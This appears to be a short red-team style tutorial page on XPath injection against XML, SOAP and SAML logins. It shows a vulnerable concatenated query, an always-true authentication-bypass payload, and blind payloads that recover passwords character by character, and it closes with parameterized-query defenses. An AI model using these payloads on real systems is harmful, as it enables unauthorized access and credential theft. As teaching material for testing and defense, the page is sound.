Ir al contenido

📕 FIELD MANUAL 23.1: XPATH INJECTION (XML DRILLING)

Classification: RED TEAM EYES ONLY

0views

Classification: RED TEAM EYES ONLY

Objective: We will manipulate XPath queries in XML documents to bypass authentication or extract sensitive data in Legacy, SOAP, and SAML systems.

MITRE ATT&CK: T1078 (Valid Accounts), T1595.

We will use XPath to navigate XML tree structures. Typical Scenario (SOAP/XML Login):

<users>
<user>
<username>admin</username>
<password>secret</password>
</user>
</users>

The Backend Query://user[username/text()='USER_INPUT' and password/text()='PASS_INPUT']

Differences with SQL:

  • There are no “Tables”, there are “Nodes”.
  • Blind injection is critical because we often do not see the response XML.

We want the condition to always be true.

  • Classic SQL: ' OR 1=1 --
  • Equivalent XPath: ' or '1'='1
  • Resulting Query://user[username/text()='admin' or '1'='1' and password/text()='...'](Since ‘1’=‘1’ is true, the OR condition makes everything true. Successful Login).

We will extract data character by character, similar to Blind SQLi. Key functions: string-length() and substring().

  • Question: Is the first user's password length 5? Payload: ' or string-length(//user[1]/password) = 5 or '1'='2
  • Question: Is the first letter 'a'? Payload: ' or substring(//user[1]/password, 1, 1) = 'a' or '1'='2
  • Defense:
    1. Parameterized Variables: We will use variables in the XPath engine ($username) instead of concatenating strings.
    2. Pre-compiled XPath: Similar to SQL Prepared Statements.